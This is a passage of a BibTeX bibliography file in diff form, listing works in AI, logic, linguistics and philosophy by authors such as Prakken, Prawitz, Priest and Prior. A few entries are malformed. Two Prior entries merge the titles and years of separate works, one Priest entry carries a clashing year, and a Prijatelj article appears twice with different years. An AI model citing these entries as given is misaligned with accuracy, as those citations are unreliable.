{2}, + pages = {199--242}, + acontentnote = {Abstract: + We present a parallel implementation of Iterative-Deepening-A*, + a depth-first heuristic search, on the single-instruction, + multiple-data (SIMD) Connection Machine. Heuristic search of an + irregular tree represents a new application of SIMD machines. + The main technical challenge is load balancing, and we explore + three different techniques in combination. We also use a simple + method for dynamically determining when to stop searching and + start load balancing. We achieve an efficiency of 69%, for a + speedup of 5685 on 8K processors, an efficiency of 64%, for a + speedup of 10,435 on 16K processors, and an efficiency of 53%, + for a speedup of 17,300 on 32K processors on the Fifteen Puzzle. + On hard problem instances, we achieved efficiencies as high as + 80%, for a speedup of 26,215 on 32K processors. Our analysis + indicates that work only needs to increase as P log P to + maintain constant efficiency, where P is the number of + processors. This high degree of scalability was confirmed + empirically for the range of 16 to 32,768 (32K) processors. } , + topic = {heuristics;search;parallel-processing;} + } + +@article{ pradhan:1996a, + author = {Malcolm Pradhan and Max Henrion and Gregory Provan and + Brendon del Favero and Kurt Huang}, + title = {The Sensitivity of Belief Networks to Imprecise + Probabilities: An Experimental Investigation}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {363--397}, + topic = {Bayesian-networks;imprecise-probabilities;} + } + +@article{ prakken:1996a, + author = {Henry Prakken}, + title = {Two Approaches to the Formalisation of Defeasible Deontic + Logic}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {73--90}, + topic = {deontic-logic;prima-facie-obligation;moral-conflict;} + } + +@article{ prakken-sartor:1996a, + author = {Henry Prakken and Giovanni Sartor}, + title = {A Dialectical Model of Assessing Conflicting + Arguments in Legal Reasoning}, + journal = {Artificial Intelligence and Law}, + year = {1996}, + pages = {331--368}, + volume = {4}, + topic = {legal-AI;dialogue-logic;} + } + +@article{ prakken-sergot:1996a, + author = {Henry Prakken and Marek Sergot}, + title = {Contrary-to-Duty Obligations}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {91--115}, + topic = {deontic-logic;prima-facie-obligation;nonmonotonic-reasoning;} + } + +@book{ prakken:1997c, + author = {Henry Prakken}, + title = {Logical Tools for Modeling Legal Argument: A Study of + Defeasible Reasoning in Law}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + xref = {Reviews: loui:1999a, royakkers:2000a, beuchcapon:2000a.}, + topic = {logic-and-law;nonmonotonic-reasoning;} + } + +@inproceedings{ prakken-sartor:1997a, + author = {Henry Prakken and Giovanni Sartor}, + title = {Reasoning with Precedents in a Dialogue Game}, + booktitle = {Proceedings of the Sixth International + Conference on Artificial Intelligence and Law + (ICAIL-97)}, + publisher = {ACM Press}, + year = {1997}, + topic = {legal-AI;dialogue-logic;} + } + +@article{ prakken-sartor:1997b, + author = {Henry Prakken and Giovanni Sartor}, + title = {Argument-Based Extended Logic Programming with + Defeasible Priorities}, + journal = {Journal of Applied Non-classical Logics}, + year = {1997}, + pages = {25--75}, + volume = {7}, + topic = {nonmonotonic-reasoning;logic-programming;} + } + +@incollection{ prakken-sergot:1997a, + author = {Henry Prakken and Marek Sergot}, + title = {Dyadic Deontic Logic and Contrary-to-Duty Obligation}, + booktitle = {Defeasible Deontic Logic}, + editor = {Donald Nute}, + pages = {223--262}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + year = {1997}, + topic = {deontic-logic;conditional-obligation;prima-facie-obligation;} + } + +@book{ prakken-mcnamara_p:1998a, + editor = {Henry Prakken and Paul McNamara}, + title = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + address = {Amsterdam}, + contentnote = {TC: + 1. P. McNamara and H. Prakken, "Introduction", pp. 1--14 + 2. G. H. Von Wright, "Deontic Logic---As I See It", pp. 15--28 + 3. D.C. Makinson, "On the Fundamental Problem of Deontic + Logic", pp. 29--54 + 4. J. Hage, "Moderately Naturalistic Deontic Logic", 55--72 + 5. L.W.N. van der Torre and Y.-H.Tan, "An Update Semantics + for Deontic Reasoning", pp. 73--92 + 6. P. Bartha, "Moral Preference, Contrary-to-Duty Obligation + and Defeasible Oughts", pp. 93--108 + 7. M. Brown, "Agents with Changing and Conflicting Commitments: + A Preliminary Study", pp. 109--128 + 8. J. Hansen, "On Relations Between {A}qvist's Deontic System {G} + and {V}an {E}ck's Deontic Temporal Logic", + pp. 129--146 + 9. Claudio Pizzi, "Iterated Conditionals and Causal + Imputation", pp. 147--162 + 10. L. Lindahl and J. Odelstad, "Intermediate Concepts as + Couplings of Conceptual Structures", pp. 163--180 + 11. P. McNamara, "Andersonian-Kangerian logics for Doing Well + Enough", pp. 181--200 + 12. D. Nute, "Norms, Priorities, and Defeasibility", pp. 201--218 + 13. V. Becher, E. Ferme', R. Rodriguez, S. Lazzer, C. Oller + and G. Palua, "Some Observations on {C}arlos + {A}lchourron's Theory of Defeasible + Conditionals", pp. 219--230 + 14. J. Bell and Z. Huang, "Dynamic Obligation Hierarchies", + pp. 231--246 + 15. L. Cholvy and F. Cuppens, "Reasoning about Norms Provided + by Conflicting Regulations", pp. 247--264 + 16. C. Krogh and A. Jones, "Protocol Breaches and Violation + Flaws", pp. 265--274 + 17. B. Sadighi Firozabadi, Y.-H. Tan and R.M. Lee, "Formal + Definitions of Fraud", pp. 275--288 + 18. M. Sergot, "Normative Positions", pp. 289--310 + 19. D. M. Gabbay and G. Governatori, "Dealing with Label + Dependent Deontic Modalities", pp. 311--330 + 20. L. Goble, "Deontic Logic with Relevance", pp. 331--346 + 21. J. Krabbendam and J.-J. Meyer, "Contextual Deontic + Logic", pp. 347-- + }, + ISBN = {90 5199 427 3}, + topic = {deontic-logic;} + } + +@techreport{ pratt_d:1991a, + author = {Dexter Pratt}, + title = {{FI} Manual}, + institution = {Microelectronics and Computer Technology + Corporation}, + number = {ACT--CYC--021--91--Q}, + year = {1991}, + address = {Austin, Texas}, + topic = {CYC;} + } + +@article{ pratt_i:1987a, + author = {Ian Pratt}, + title = {Constraints, Meaning and Information}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {3}, + pages = {299--324}, + topic = {situation-theory;convention;foundations-of-semantics;} + } + +@article{ pratt_i-schoop:1998a, + author = {Ian Pratt and Dominik Schoop}, + title = {A Complete Axiom System for Polygonal Mereotopology of + the Real Plane}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {6}, + pages = {621--661}, + topic = {mereology;spatial-reasoning;} + } + +@article{ pratt_i-francez:2001a, + author = {Ian Pratt and Nissim Francez}, + title = {Temporal Prepositions and Temporal Generalized Quantifiers}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {2}, + pages = {187--222}, + topic = {temporal-prepositions;nl-tense-aspect;} + } + +@book{ pratt_m:1977a, + author = {Mary Louise Pratt}, + title = {Toward a Speech Act Theory of Literary Discourse}, + publisher = {Indiana University Press}, + year = {1977}, + address = {Bloomington}, + topic = {discourse-analysis;pragmatics;} +} + +@inproceedings{ pratt_v:1979a, + author = {Vaughn R. Pratt}, + title = {Models of Program Logics}, + booktitle = {Proceedings of the Twentieth {IEEE} Symposium on Foundations + of Computer Science}, + year = {1979}, + pages = {115--122}, + organization = {{IEEE}}, + missinginfo = {editor, publisher, address}, + topic = {theory-of-programming-languages;} + } + +@inproceedings{ pratt_v:1982a, + author = {Vaughn R. Pratt}, + title = {On the Composition of Processes}, + booktitle = {Proceedings of the Ninth {ACM} Symposium on Principles + of Programming Languages}, + year = {1982}, + pages = {213--223}, + organization = {{ACM}}, + missinginfo = {editor, publisher, address}, + topic = {parallel-processing;} + } + +@article{ pratt_v:1985a, + author = {Vaughn R. Pratt}, + title = {Modelling Concurrency With Partial Orders}, + journal = {International Journal of Parallel Programming}, + year = {1985}, + volume = {15}, + number = {1}, + pages = {33--71}, + topic = {parallel-processing;} + } + +@article{ pratthartmann-schoop:2002a, + author = {Ian Pratt-Hartmann and Dominik Schoop}, + title = {Elementary Polyhedral Mereotopology}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {5}, + pages = {469--498}, + topic = {mereology;spatial-logic;} + } + +@book{ prawitz:1965a, + author = {Dag Prawitz}, + title = {Natural Deduction: A Proof Theoretical Study}, + publisher = {Almqvist and Wiksell}, + year = {1965}, + address = {Stockholm}, + topic = {proof-theory;} + } + +@article{ prawitz:1968a, + author = {Dag Prawitz}, + title = {A Discussion Note on Utilitarianism}, + journal = {Theoria}, + volume = {34}, + year = {1968}, + pages = {76--84}, + topic = {utilitarianism;} + } + +@article{ prawitz:1970a, + author = {Dag Prawitz}, + title = {The Alternatives to an Action}, + journal = {Theoria}, + volume = {36}, + year = {1970}, + pages = {116--126}, + topic = {practical-reasoning;action;foundations-of-decision-theory;} + } + +@incollection{ prawitz:1971a, + author = {Dag Prawitz}, + title = {Ideas and Results in Proof Theory}, + booktitle = {Proceedings of the Second Scandinavian Logic Symposium}, + editor = {Jens Erik Fensted}, + year = {1971}, + pages = {235--307}, + publisher = {North Holland}, + address = {Amsterdam}, + topic = {proof-theory;} + } + +@incollection{ prawitz:1973a, + author = {Dag Prawitz}, + title = {The Philosophical Position of Proof Theory}, + booktitle = {Contemporary Logic in {S}candinavia}, + publisher = {The Johns Hopkins Press}, + address = {Baltimore}, + year = {1972}, + topic = {proof-theory;} + } + +@article{ predelli:2000a, + author = {Stefano Predelli}, + title = {Who's Afraid of Substitutivity?}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {455--467}, + topic = {intensionality;propositional-attitudes;referential-opacity;} + } + +@book{ preece:1989a, + editor = {Jenny Preece}, + title = {Human-Computer Interaction: Selected Readings: A Reader}, + publisher = {Prentice Hall}, + year = {1989}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {013444910X}, + topic = {HCI;} + } + +@book{ preece:1994a, + author = {Jenny Preece}, + title = {Human-Computer Interaction}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1994}, + address = {Reading, Massachusetts}, + } + +@book{ preece-etal:1994a, + author = {Jenny Preece and Yvonne Rogers and Hewlen Sharp + and David Benyon and Simon Holland and Tom Carey}, + title = {Human-Computer Interaction}, + publisher = {Addison-Wesley}, + year = {1994}, + address = {Reading, Massachusetts}, + topic = {HCI;HCI-text;} + } + +@article{ prendinger-schurz:1996a, + author = {Helmut Prendinger and Gerhard Schurz}, + title = {Reasoning about Action and Change: A Dynamic Logic + Approach}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {2}, + pages = {209--245}, + topic = {action-formalisms;dynamic-logic;frame-problem; + Yale-shooting-problem;multiagent-planning;} + } + +@book{ preparata-shamos:1985a, + author = {Franco P. Preparata and Michael I. Shamos}, + title = {Computational Geometry: An Introduction}, + publisher = {Springer-Verlag}, + year = {1985}, + address = {Berlin}, + ISBN = {0387961313}, + topic = {computational-geometry;} + } + +@article{ preston:1998a, + author = {Beth Preston}, + title = {Why is a Wing Like a Spoon? A Pluralist Theory + of Function}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {5}, + pages = {215--254}, + contentnote = {Contains references to "artifact theory".}, + topic = {functionality;artifacts;} + } + +@inproceedings{ prevost-steedman:1993a, + author = {Scott Prevost and Mark Steedman}, + title = {Generating Contextually Appropriate Intonation}, + year = {1993}, + booktitle = {Proceedings of the Sixth Conference of the + European Chapter of {ACL}}, + pages = {332--340}, + address = {Utrecht}, + topic = {intonation;context;nl-generation;speech-generation;} + } + +@article{ prevost-steedman:1994a, + author = {Scott Prevost and Mark Steedman}, + title = {Specifying Intonation from Context for Speech Synthesis}, + journal = {Speech Communication}, + year = {1994}, + volume = {15}, + pages = {139--153}, + topic = {intonation;context;nl-generation;speech-generation;} + } + +@inproceedings{ prevost:1996a, + author = {Scott Prevost}, + title = {An Information Structural Approach to Spoken Language + Generation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {294--301}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {nl-generation;intonation;} + } + +@book{ price_h:1996a, + author = {Huw Price}, + title = {Time's Arrow and {A}rchimedes' Point: New Directions + for the Physics of Time}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + xref = {Review: belot:1998a.}, + topic = {philosophy-of-time;temporal-direction;} + } + +@incollection{ price_h:1998a, + author = {Huw Price}, + title = {Three Norms of Assertibility or How the {MOA} + Became Extinct}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {241--254}, + address = {Oxford}, + topic = {truth;deflationary-analyses;} + } + +@article{ price_p-etal:1991a, + author = {P. Price and M. Ostendorf and P. Stattunk-Hufnagel + and C. Feng}, + title = {The Use of Prosody in Syntactic Disambiguation}, + journal = {Journal of the Acoustic Society of America}, + year = {1991}, + volume = {90}, + number = {6}, + missinginfo = {A's first names, pages}, + topic = {prosody;nl-interpretation;disambiguation;} + } + +@incollection{ price_p:1996a, + author = {Patti Price}, + title = {Combining Linguistic with Statistical + Methods in Automatic Speech Understanding}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {119--133}, + address = {Cambridge, Massachusetts}, + topic = {speech-recognition;statistical-nlp;} + } + +@incollection{ prie-etal:1999a, + author = {Yannick Prei\'e and Alain Mille and Jean-Marie Pinon}, + title = {A Context-Based Audiovisual Represention Model + for Audiovisual Information Systems}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {296--309}, + address = {Berlin}, + topic = {context;classification-of-visual-information;} + } + +@article{ prieditis-davis:1995a, + author = {Armand Prieditis and Robert Davis}, + title = {Quantitatively Relating Abstractness to the Accuracy of + Admissible Heuristics}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {165--175}, + acontentnote = {Abstract: + Admissible (lower-bound) heuristics are worth discovering + because they have desirable properties in various search + algorithms. One well-known source of admissible heuristics is + from abstractions of a problem. Using standard definitions of + heuristic accuracy and abstractness, we prove that heuristic + accuracy decreases inversely with abstractness. This is the + first quantitative result linking abstractness to the heuristic + accuracy. Using this result, it may be possible to predict the + accuracy of an abstraction-derived heuristic without testing it + on a sample set of problems. It may also be possible for a + heuristic discovery system to use the theory to predict the + accuracy of a heuristic, thereby better focusing its search. + } , + topic = {search;heuristics;abstraction;} + } + +@article{ priest:1979a, + author = {Graham Priest}, + title = {The Logic of Paradox}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {2}, + pages = {219--241}, + topic = {semantic-paradoxes;paraconsistency;} + } + +@article{ priest:1980a, + author = {Graham Priest}, + title = {Sense, Entailment and {\it Modus Ponens}}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {415--435}, + topic = {relevance-logic;} + } + +@article{ priest:1984a, + author = {Graham Priest}, + title = {Logic of Paradox Revisited}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {2}, + pages = {153--179}, + topic = {paraconsistency;semantic-paradoxes;} + } + +@article{ priest:1990a, + author = {Graham Priest}, + title = {Boolean Negation and All That}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {2}, + pages = {201--215}, + topic = {negation;inconsistency;} + } + +@article{ priest-sylvan:1992a, + author = {Graham Priest and Richard Sylvan}, + title = {Simplified Semantics for Basic Relevant Logics}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {217--232}, + topic = {relevance-logic;} + } + +@incollection{ priest:1996a, + author = {Graham Priest}, + title = {Some Priorities of {B}erkeley}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {479--487}, + address = {Oxford}, + topic = {idealism;} + } + +@article{ priest:1997a, + author = {Graham Priest}, + title = {On a Paradox of {H}ilbert and {B}ernays}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {45--56}, + contentnote = {At a quick glance, this seems to be an analog of the Liar + having to do with denotation.}, + topic = {semantic-paradoxes;self-reference;} + } + +@article{ priest:1997b, + author = {Graham Priest}, + title = {Inconsistent Models of Arithmetic. Part {I}: Finite Models}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {2}, + pages = {223--235}, + topic = {paraconsistent-mathematics;} + } + +@article{ priest:1998a, + author = {Graham Priest}, + title = {What Is So Bad about Contradiction?}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {8}, + pages = {410--426}, + topic = {paraconsistency;} + } + +@article{ priest:1999a, + author = {Graham Priest}, + title = {Semantic Closure, Descriptions, and Non-Triviality}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {6}, + pages = {549--558}, + topic = {paraconsistency;semantic-closure;semantic-paradoxes;} + } + +@article{ priest:2000a, + author = {Graham Priest}, + title = {Inconsistent Models of Arithmetic}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {4}, + pages = {1519--1529}, + topic = {relevance-logic;formalizations-of-arithmetic; + paraconsistent-mathematics;} + } + +@article{ priest:2002a, + author = {Graham Priest}, + title = {Review of {\it Papers in Philosophical Logic}, + {\it Papers in Philosophical Metaphysics and Epistemology}, and + {\it Papers in Ethics and Social Theory}, by {D}avid {L}ewis}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {351--358}, + xref = {Review of: lewis_dk:1998a, lewis_dk:1999a, lewis_dk:2000b.}, + topic = {metaphysics;epistemplogy;philosophical-logic;} + } + +@article{ prijatelj:1975a, + author = {Andreja Prijatelj}, + title = {Reflections on `Difficult' Embeddings}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {24}, + number = {1}, + pages = {71--84}, + topic = {intuitionistic-logic;linear-logic;} + } + +@techreport{ prijatelj:1989a, + author = {Andreja Prijatelj}, + title = {Intensional {L}ambek Calculi: Theory and Application}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + year = {1991}, + address = {Department of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + missinginfo = {number}, + topic = {intensional-logic;Lambek-calculus;} + } + +@article{ prijatelj:1996a, + author = {Andreja Prijatelj}, + title = {Reflections on `Difficult' Embeddings}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {1}, + pages = {71--84}, + topic = {intuitionistic-logic;linear-logic;} + } + +@article{ prince:1978a, + author = {Ellen Prince}, + title = {A Comparison of Wh-Clefts and It-Clefts in Discourse}, + journal = {Language}, + year = {1978}, + volume = {54}, + pages = {883--906}, + missinginfo = {number}, + topic = {discourse;presupposition;pragmatics;sentence-focus;} + } + +@incollection{ prince:1981a, + author = {Ellen F. Prince}, + title = {Towards a Taxonomy of Given-New Information}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {223--256}, + address = {New York}, + topic = {given-new;presupposition;pragmatics;} + } + +@incollection{ prince_e:1988a, + author = {Ellen F. Prince}, + title = {Discourse Analysis}, + booktitle = {Linguistics, The Cambridge Survey}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Frederick J. Newmeyer}, + pages = {164--182}, + address = {Cambridge, England}, + topic = {discourse-analysis;} + } + +@article{ prior_an:1956a, + author = {Arthur N. Prior}, + title = {Modality and Quantification in {S5}}, + journal = {Journal of Symbolic Logic}, + year = {1956}, + volume = {21}, + pages = {60--62}, + missinginfo = {number}, + topic = {modal-logic;quantifying-in-modality;} + } + +@book{ prior_an:1956b, + author = {Arthur N. Prior}, + title = {Time and Modality}, + publisher = {Oxford University Press}, + year = {1956}, + address = {Oxford}, + title = {On a Family of Paradoxes}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1961}, + volume = {2}, + pages = {16--32}, + topic = {liar;paradox;intensional-paradoxes;} + } + +@book{ prior_an:1962a, + author = {Arthur N. Prior}, + title = {Formal Logic}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1962}, + topic = {philosophical-logic;} + } + +@article{ prior_an:1962b, + author = {Arthur N. Prior}, + title = {Possible Worlds (Idea Attributed to {P}.{T}. {G}each)}, + journal = {Philosophical Quarterly}, + year = {1962}, + volume = {12}, + pages = {36--43}, + missinginfo = {number}, + topic = {modal-logic;foundations-of-modal-logic;} + } + +@incollection{ prior_an:1962c, + author = {Arthur N. Prior}, + title = {Nonentities}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {120--132}, + address = {New York}, + topic = {philosophical-ontology;(non)existence;} + } + +@book{ prior_an:1967a, + author = {Arthur N Prior}, + title = {Past, Present and Future}, + publisher = {Oxford University Press}, + year = {1967}, + address = {Oxford}, + title = {Papers on Time and Tense}, + publisher = {Oxford University Press}, + year = {1968}, + address = {Oxford}, + topic = {temporal-logic;philosophical-logic;} + } + +@book{ prior_an:1971a, + author = {Arthur N. Prior}, + title = {Objects of Thought}, + publisher = {Oxford University Press}, + year = {1971}, + address = {Oxford}, + note = {Edited by Peter Geach and Anthony Kenny.}, + topic = {philosophical-logic;intensionality;} + } + +@book{ prior_an:1977a, + author = {Arthur N. Prior and Kit Fine}, + title = {Worlds, Times and Selves}, + publisher = {Gerald Duckworth and Company}, + year = {1977}, + address = {London}, + topic = {philosophical-logic;} + } + +@incollection{ prior_an:1996a, + author = {Arthur N. Prior}, + title = {A Statement of Temporal Realism}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {45--46}, + address = {Oxford}, + topic = {temporal-logic;philosophical-ontology;} + } + +@incollection{ prior_an:1997b, + author = {Arthur N. Prior}, + title = {Some Free Thinking about Time}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {47--51}, + address = {Oxford}, + topic = {temporal-logic;philosophical-ontology;} + } + +@book{ prior_ew:1985a, + author = {Elizabeth W. Prior}, + title = {Dispositions}, + publisher = {Aberdeen University Press}, + year = {1985}, + address = {Aberdeen}, + ISBN = {0080324185}, + topic = {dispositions;} + } + +@book{ procter:1978a, + editor = {Paul Procter}, + title = {Longman Dictionary of Contemporary {E}nglish}, + publisher = {Longman}, + year = {1978}, + address = {Harlow, England}, + ISBN = {0582525713}, + topic = {dictionary;} + } + +@article{ progovac:1993a, + author = {Ljiljana Progovac}, + title = {Negative Polarity: Entailment and Binding}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {2}, + pages = {149--180}, + topic = {negation;polarity;} + } + +@inproceedings{ propopenko-butler:1999a, + author = {Mikhail Propopenko and Marc Butler}, + title = {Tactical Reasoning in Synthetic Multi-Agent + Systems: A Case Study}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + missinginfo = {pages}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;cognitive-robotics;agent-architectures; + multiagent-systems;multiagent-planning;} + } + +@article{ prosser:1996a, + author = {Patrick Prosser}, + title = {An Empirical Study of Phase Transitions in Binary + Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {81--109}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@incollection{ provan:1988a, + author = {Gregory M. Provan}, + title = {A Complexity Analysis of Assumption-Based Truth + Maintenance Systems}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {98--113}, + address = {Chichester}, + topic = {truth-maintenance;complexity-in-AI;} + } + +@incollection{ provan-poole:1991a, + author = {Gregory M. Provan and David Poole}, + title = {The Utility of Consistency-Based Diagnostic Techniques}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {461--472}, + address = {San Mateo, California}, + topic = {kr;diagnosis;kr-course;} + } + +@incollection{ provan:2002a, + author = {Gregory Provan}, + title = {A Model-Based Diagnosis Framework for Distributed Embedded + Systems}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {341--352}, + address = {San Francisco, California}, + topic = {kr;diagnosis;model-based-reasoning;} + } + +@article{ prunescu:2002a, + author = {Mihai Prunescu}, + title = {A Model-Theoretic Proof for $P\not=NP$ over All Infinite + {A}belian Groups}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {235--238}, + topic = {P=NP-problem;group-theory;} + } + +@article{ prust-etal:1994a, + author = {Hub Pr\"ust and Remko Scha and Martin van der Berg}, + title = {Discourse Grammar and Verb Phrase Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {3}, + pages = {261--327}, + topic = {verb-phrase-anaphora;discourse-representation-theory;} + } + +@article{ przelecki:1976a, + author = {Marian Prze{\l}ecki}, + title = {Fuzziness as Multiplicity}, + journal = {Erkenntnis}, + year = {1976}, + volume = {10}, + pages = {371--380}, + topic = {vagueness;} + } + +@unpublished{ przymusinska:1988a, + author = {Halina Przymusinska}, + title = {The Embeddability of Hierarchic Autoepistemic Logic + in Autoepistemic Logic}, + year = {1988}, + note = {Unpublished manuscript, University of Texas at El Paso.}, + topic = {nonmonotonic-loguc;autoepistemic-logic;} + } + +@article{ przymusinski:1989a2, + author = {Teodor C. Przymusinski}, + title = {Three-Valued Nonmonotonic Formalisms and Semantics of Logic + Programs}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {309--343}, + xref = {Conference publication: przynusinski:1989a1.}, + topic = {many-valued-logic;nonmonotonic-logic;logic-programming;} + } + +@article{ przymusinski:1989b, + author = {Teodor C. Przymusinski}, + title = {An Algorithm to Compute Circumscription}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {49--73}, + topic = {circumscription;nonmonotonic-reasoning;AI-algorithms;} + } + +@article{ przymusinski:1997a, + author = {Teodor C. Przymusinski}, + title = {Autoepistemic Logic of Knowledge and Beliefs}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {115--154}, + topic = {autoepistemic-logic;nonmonotonic-logic;epistemic-logic;} + } + +@article{ przymusinski-turner_h:1997a, + author = {Teodor C. Przymusinski and Hudson Turner}, + title = {Update by Means of Inference Rules}, + journal = {Journal of Logic Programming}, + year = {1997}, + volume = {30}, + number = {2}, + pages = {125--143}, + topic = {knowledge-base-revision;logic-programming;} + } + +@incollection{ przynusinski:1989a1, + author = {Teodor C. Przynusinski}, + title = {Three-Valued Formalizations of Non-Monotonic Reasoning + and Logic}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {341--348}, + address = {San Mateo, California}, + xref = {Journal publication: przynusinski:1989a2.}, + topic = {kr;nonmonotonic-logic;many-valued-logic;circumsciption; + logic-programming;well-founded-semantics;kr-course;} + } + +@book{ psathas:1979a, + editor = {George Psathas}, + title = {Everyday Language: Studies in Ethnomethodology}, + publisher = {Irvington}, + year = {1979}, + address = {New York}, + topic = {ethnomethodology;conversation-analysis;} + } + +@book{ psathas:1995a, + editor = {G. Psathas}, + title = {Conversation Analysis: The Study of Talk-in-Interaction}, + publisher = {Sage Publications}, + year = {1995}, + address = {Thousand Oaks, California}, + topic = {ethnomethodology;conversation-analysis;} + } + +@incollection{ pudelko-etal:1999a, + author = {B\'eatrice Pudelko and ELizabeth Hamilton and Denis Legros + and Charles Tijus}, + title = {How Context Contributes to Metaphor + Understanding}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {511--514}, + address = {Berlin}, + topic = {context;metaphor;} + } + +@book{ pudney:1989a, + author = {Stephen Pudney}, + title = {Modeling Individual Choice: The Econometrics of Corners, + Kinks and Holes}, + publisher = {Blackwell Publishers}, + year = {1989}, + address = {Oxford}, + topic = {decision-theory;preferences;} + } + +@article{ pullum-gazdar:1982a, + author = {Geoffrey Pullum and Gerald Gazdar}, + title = {Natural Languages and Context-Free Languages}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {471--504}, + topic = {GPSG;generative-capacity;} + } + +@article{ pullum:1984a, + author = {Geoffrey Pullum}, + title = {Stalking the Perfect 